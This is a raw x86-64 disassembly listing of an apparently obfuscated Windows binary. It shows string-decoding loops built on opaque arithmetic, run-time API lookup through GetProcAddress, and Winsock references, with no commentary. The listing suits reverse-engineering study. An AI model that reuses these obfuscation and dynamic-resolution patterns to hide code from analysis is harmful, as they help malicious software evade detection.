jmp 0x140181b89
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140181828
movabs rdx, 0x1f8f9e7ab872d140
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140181ae9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140181855
movabs rcx, 0x49016db7b1011030
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x50
jmp 0x140181ab1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140181461
movabs rdx, 0x183a79e88bc84ae0
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x20
jmp 0x1401819d4
mov byte [rbp + r11 + 0x21cd], bl
inc r11
jmp 0x140181033
movabs rdx, 0x6b1e18627ce4c8c0
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ebx, byte [rbp + r11 + 0x21cd]
sub bl, al
sub bl, 0x40
add bl, dl
add bl, r10b
jmp 0x140181a5f
movabs rdx, 0x948fe79f757307b0
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x21cd]
add bl, dl
jmp 0x140181ae9
movabs rdx, 0x282b4924eed5cb48
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x21cd]
add rax, r9
add r11, rax
inc r11
jmp 0x140181033
movabs rdx, 0xfeb979e7f6478c58
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x68
add bl, dl
jmp 0x140181b1d
movabs rcx, 0xabd5db6e052b0e78
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x140181ab1
lea rdx, [r11 + r12]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x28
jmp 0x140181a5d
movabs rdx, 0x2f806db71b8051a8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x140181033
movabs rdx, 0xdc9ccf3d2a63d3c8
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x78
add bl, dl
movabs rdx, 0x566530c4009da948
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x21cd], cl
inc r9
dec r11
inc r11
jmp 0x140181033
movabs rdx, 0x6047618640b916f8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x140181033
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, r11
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movabs rdx, 0x7fd70000f92be838
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x21cd], cl
add r8, r9
jmp 0x140181ab1
movabs rdx, 0xba8024925e801b38
add rdx, r11
movzx eax, dl
and al, dil
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140181033
mov r10, rdi
movabs rcx, 0x910e555565f1dc48
add rcx, r11
and dil, cl
mov eax, 4
sub al, dil
lea ebx, [rax + rax]
add bl, cl
add bl, r10b
movabs rcx, 0xa948cf3df1ba2728
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x18
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x21cd], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x60
add cl, r10b
mov byte [rbp + r11 + 0x21cd], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x21cd]
add rax, r9
add r11, rax
inc r11
jmp 0x140181033
movabs rdx, 0x3e2ab6db74d55e68
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + r11 + 0x21cd]
add rax, r9
add r11, rax
inc r11
jmp 0x140181033
movabs rcx, 0xc410555690f35958
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x68
jmp 0x140181030
movabs rdx, 0x9a9e861998651a68
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140181020
lea rdx, [rbp + 0x149466d]
jmp 0x140181c06
lea rdx, [rbp + 0x5065e5]
jmp 0x140181c06
lea rdx, [rbp + 0x21cd]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140181c21
xor r15b, r15b
mov byte [rsp + 0x60], r15b
jmp 0x140181d54
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x38fc], r14d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x3900]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x3b00], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b08], xmm0
movups xmmword [rbp + 0x3b18], xmm0
mov qword [rbp + 0x3b28], rax
movups xmmword [rbp + 0x3b30], xmm0
mov dword [rbp + 0x3b40], eax
mov dword [rbp + 0x3b44], r14d
mov qword [rbp + 0x3b48], r14
mov qword [rbp + 0x3b50], r14
mov dword [rbp + 0x3b58], r14d
mov qword [rbp + 0x3b60], r14
mov qword [rbp + 0x3b68], rax
mov dword [rbp + 0x3b70], eax
mov dword [rbp + 0x3b74], r14d
mov dword [rbp + 0x3b78], r14d
mov dword [rbp + 0x3b7c], r14d
mov word [rbp + 0x3b80], r14w
movups xmmword [rbp + 0x3b88], xmm0
movups xmmword [rbp + 0x3b98], xmm0
mov qword [rbp + 0x3ba8], rax
mov qword [rbp + 0x38f0], 0xaed0de
mov dword [rbp + 0x38f8], 1
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x38f0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r14
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call fcn.140163710
mov ebx, eax
test eax, eax
js 0x140181d3f
cmp dword [rbp + 0x38fc], 0x10000
je 0x140181d44
mov ebx, 0xc0000001
xor r15b, r15b
mov byte [rsp + 0x60], r15b
test ebx, ebx
jns 0x140189568
mov rdi, qword [rbp - 0x18]
lea rax, [rbp + 0x1570]
mov qword [rbp - 0x80], rax
mov rdx, r13
lea rcx, [rbp + 0x1570]
call fcn.140135eb0
mov rbx, rax
mov qword [rbp], rax
lea rax, [rbp + 0x1590]
mov qword [rsp + 0x70], rax
mov rdx, rdi
lea rcx, [rbp + 0x1590]
call fcn.140135eb0
mov qword [rbp + 0x48], rax
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp + 0x15b0]
call fcn.140135eb0
mov qword [rbp - 8], rax
mov rdx, rbx
lea rcx, [rbp + 0x15d0]
call fcn.140135eb0
mov r14, rax
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x53], 0
lea rcx, [rbp + 0x15f0]
call fcn.140155160
nop
lea rcx, [rbp - 0x52]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x158]
mov rcx, r14
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x160]
mov rcx, r14
call fcn.14013e7f0
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1610]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x1610]
lea rcx, [rbp + 0x2de0]
call fcn.1401cb620
nop
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x690]
call fcn.1401e4a40
nop
lea rcx, [rbp + 0x2de0]
call fcn.14015c7a0
lea rdx, [0x14047f0e8]
lea rcx, [rbp + 0x1630]
call fcn.140155030
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.14015d120
nop
lea rdx, [0x14044a4fc]
lea rcx, [rbp + 0x2ec8]
call fcn.1401cb650
nop
lea rdx, [rbp + 0x2ec8]
lea rcx, [rbp + 0x6a0]
call fcn.14015d160
nop
lea rcx, [rbp + 0x2ec8]
call fcn.14015c7a0
lea rcx, [rbp + 0x6a0]
call fcn.14015d170
mov rsi, rax
mov byte [rbp + 0x2011], WSASetLastError
mov byte [rbp + 0x2012], 0x19
mov byte [rbp + 0x2013], 0x8d
mov byte [rbp + 0x2014], 0x1b
mov byte [rbp + 0x2015], 0x75
mov byte [rbp + 0x2016], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x2017], 0x8a
mov byte [rbp + 0x2018], reloc.WS2_32.dll_socket
mov byte [rbp + 0x2019], 0x8d
mov byte [rbp + 0x201a], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x201b], 0x80
mov byte [rbp + 0x201c], reloc.WS2_32.dll_send
mov byte [rbp + 0x201d], 0x62
mov byte [rbp + 0x201e], recvfrom
mov byte [rbp + 0x201f], 0x98
mov byte [rbp + 0x2020], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2021], 0x9d
mov byte [rbp + 0x2022], 9
mov byte [rbp + 0x2023], 0xa
mov byte [rbp + 0x2024], reloc.WS2_32.dll_inet_addr
xor eax, eax
mov qword [rbp + 0x2025], rax
mov dword [rbp + 0x202d], eax
mov word [rbp + 0x2031], ax
mov byte [rbp + 0x2033], al
movabs r12, 0x2f9bd2c7a0cb6da4
movzx r11d, byte [rbp + 0x5d00]
movabs rdx, 0xc3ec9474960fccac
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
movabs rcx, 0x954ff1980f4de5d4
cmp rbx, 0x23
jae 0x140182db9
movzx r10d, byte [rbp + rbx + 0x2011]
mov rdi, r10
cmp r8, rbx
ja 0x140182db0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140181ff1
movabs rcx, 0xca2860d67aa22f84
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x64
movabs rcx, 0x954ff1980f4de5d4
jmp 0x140182020
je 0x140182d16
inc rax
cmp r8, rax
je 0x140182cb9
lea rax, [r9 + 2]
cmp r8, rax
je 0x140182c65
lea rax, [r9 + 3]
cmp r8, rax
je 0x140182bf0
nop dword [rax]
cmp r9, rbx
ja 0x140182da7
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140182040
lea rdx, [rbx + rcx]
mov ecx, 0x1a
jmp 0x140182259
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140182b91
lea rax, [r9 + 3]
cmp r8, rax
je 0x140182b68
lea rax, [r9 + 5]
cmp r8, rax
je 0x140182b3f
lea rax, [rcx + 1]
cmp r8, rax
je 0x140182b1b
lea rax, [r9 + 4]
cmp r8, rax
je 0x140182af2
lea rax, [r9 + 8]
cmp r8, rax
je 0x140182acc
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140182730
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140182708
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401826d1
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018269d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140182674
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018264b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140182627
lea rax, [r9 + 6]
cmp r8, rax
je 0x140182603
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1401825da
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401825b1
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401820a0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140182d7e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140182d5a
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401822ac
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14018227a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140182251
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140182546
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401824e1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14018248e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140182450
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1401820a0
lea r8, [r9 + 4]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14018242a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140182401
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1401823dd
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1401823b8
add rdx, rbx
mov ecx, 0x26
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0xc3ec9474960fccac
jmp 0x140182090
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x7c
add r11b, dl
movabs rcx, 0x954ff1980f4de5d4
movabs rdx, 0xc3ec9474960fccac
jmp 0x140182020
movabs rdx, 0x9b4b111aab870e9c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x44
add r11b, dl
movabs rcx, 0x954ff1980f4de5d4
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181faf
movabs rcx, 0x309b02b2bad4f470
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x140182c87
movabs rdx, 0x9c4a4105c5909568
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182cdc
movabs rdx, 0x7f97f58d04c3660
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140182d37
movabs rdx, 0x152f9b286b2148cc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x2011], r11b
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
movabs rdx, 0x80ded97b75dce9c4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
add r11b, dl
cmp r9, 0x28
jb 0x140182474
movabs rdx, 0x8c169574dc9eee98
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x50]
jmp 0x140182bb0
movabs rcx, 0xec8e17ce80988abc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
cmp r8, 0x3e8
jae 0x140182a6b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14018299b
movabs rdx, 0xc0ef04b347f33848
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401824b1
movabs rdx, 0x583d56218b542bb4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx edx, r15b
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140182a9b
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140182865
movabs rdx, 0x2b9f131b38a55274
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x140182500
movabs rdx, 0x7fdfa9905bd362f8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182d3a
movabs rdx, 0xeb8ee7e3668f03f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182cdc
movabs rcx, 0x573e2636714aa4e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x140182c87
movabs rcx, 0xc2ed64897c0645e0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x140182c42
movabs rdx, 0x2e9ca2dc86c1e6d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140182c3f
movabs rdx, 0x9a4be12f917d87d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140182c14
movabs rcx, 0x5fb1f829c3928c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
movabs rcx, 0x71aa5dd5a6f4c9c0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
movabs rdx, 0xdd599c28b1b06ab8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140182bb0
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140182756
movabs rdx, 0xca2860d67aa22f84
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
jmp 0x14018255e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140182785
movabs rdx, 0x2a9fe3301e9bcba8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140182d37
inc rax
cmp r8, rax
jne 0x1401827b6
movabs rdx, 0xbef0a4dd13e02ab0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140182cdc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401827e3
movabs rcx, 0x5341668a092489b8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x140182c87
mov byte [rsp + 0x60], r15b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018282f
movabs rdx, 0xa4846d3dde3605d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov byte [rsp + 0x60], r15b
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018256a
movabs rcx, 0xcd25f097c8bec3e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
mov byte [rsp + 0x60], r15b
jmp 0x140182bb0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140182892
movabs rcx, 0xbfefd4c82de9b17c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
jmp 0x140182bb0
inc rax
cmp r8, rax
jne 0x1401828d6
movabs rdx, 0x54409675232e1084
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140182907
movabs rdx, 0x7ce219cf0db6ce94
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x140182c14
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140182935
movabs rcx, 0x1132db7c02fb2d9c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x44
jmp 0x140182c3f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140182962
movabs rcx, 0xa5839d28f83f8ca4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x140182c42
mov byte [rsp + 0x60], dl
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140182500
movabs rcx, 0x6275e22fd80ca9bc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
mov byte [rsp + 0x60], dl
jmp 0x140182d3a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401829c9
movabs rcx, 0x553fc6603d379750
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
jmp 0x140182d3a
inc rax
cmp r8, rax
jne 0x1401829fa
movabs rdx, 0x7de149ba27c05560
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182c87
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140182a2c
movabs rdx, 0x12320b671d04b468
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182c42
mov byte [rsp + 0x60], r15b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401824b1
movabs rdx, 0x3ad38ec1078d7278
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
add r11b, dl
mov byte [rsp + 0x60], r15b
jmp 0x140182c14
movabs rdx, 0x20675721d1e34da0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0x2011]
sub r11b, al
sub r11b, 0x60
add r11b, r10b
add r11b, dl
jmp 0x140182c14
movabs rdx, 0xb4b818cec727aca8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x2011]
add r11b, r10b
add r11b, dl
jmp 0x140182c87
movabs rdx, 0xcc26c0acaeb53d1c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140182d37
movabs rdx, 0x37d5feffb970de14
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140182cdc
movabs rcx, 0xf347ba5cee82004
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x140182c42
movabs rdx, 0x7ae3b9f8d9a3c0fc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182c3f
movabs rdx, 0xe692f84be45f61f4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140182c14
movabs rcx, 0x29a0b345049244dc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
movabs rdx, 0x563ef64b57411e1c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x2011], cl
inc r9
dec rbx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
movabs rdx, 0x440ceae43a3c69b4
mov ecx, 0xa
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0xea8fb7f84c857d24
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x2011], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
mov r10, rdi
movabs rcx, 0x871aa5dd5a6f4c9c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x44
movabs rcx, 0x7ee079a541c9dc2c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x34
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x2011], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x140182cdc
movabs rcx, 0xf2c9e430652aed94
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0xc
movzx r10d, dil
movabs rdx, 0x4908da7bbc6c0bb0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x2011], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x140182d3a
movabs rdx, 0x5e7922836fe68e8c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2011]
add rax, r9
add rbx, rax
inc rbx
movabs rdx, 0xc3ec9474960fccac
jmp 0x140181f92
movabs rcx, 0x6fa4f6db642af94
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
jmp 0x140181f8e
movabs rdx, 0x72a98dc0c0fe508c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140181f6c
lea rax, [rbp + 0x1780cc1]
jmp 0x140182dc0
lea rax, [rbp + 0xda3c45]
jmp 0x140182dc0
lea rax, [rbp + 0x2011]
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x2034], 0xb9
mov byte [rbp + 0x2035], recvfrom
mov byte [rbp + 0x2036], 0x65
mov byte [rbp + 0x2037], 0xf3
mov byte [rbp + 0x2038], 0x55
mov byte [rbp + 0x2039], 0xf1
mov byte [rbp + 0x203a], 0x60
mov byte [rbp + 0x203b], 0xf7
mov byte [rbp + 0x203c], 0x19
mov byte [rbp + 0x203d], 0xf5
mov byte [rbp + 0x203e], 0x3b
mov byte [rbp + 0x203f], 0xfb
mov byte [rbp + 0x2040], 0x53
mov byte [rbp + 0x2041], 0xf9
mov byte [rbp + 0x2042], 0x5b
mov byte [rbp + 0x2043], 0xff
mov byte [rbp + 0x2044], WSASetLastError
mov byte [rbp + 0x2045], 0xfd
mov byte [rbp + 0x2046], 0x76
mov byte [rbp + 0x2047], 0xe3
mov byte [rbp + 0x2048], 0xe0
mov byte [rbp + 0x2049], 0xe1
xor eax, eax
mov qword [rbp + 0x204a], rax
mov dword [rbp + 0x2052], eax
mov byte [rbp + 0x2056], al
movabs r12, 0xd79d951cb2503ee
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
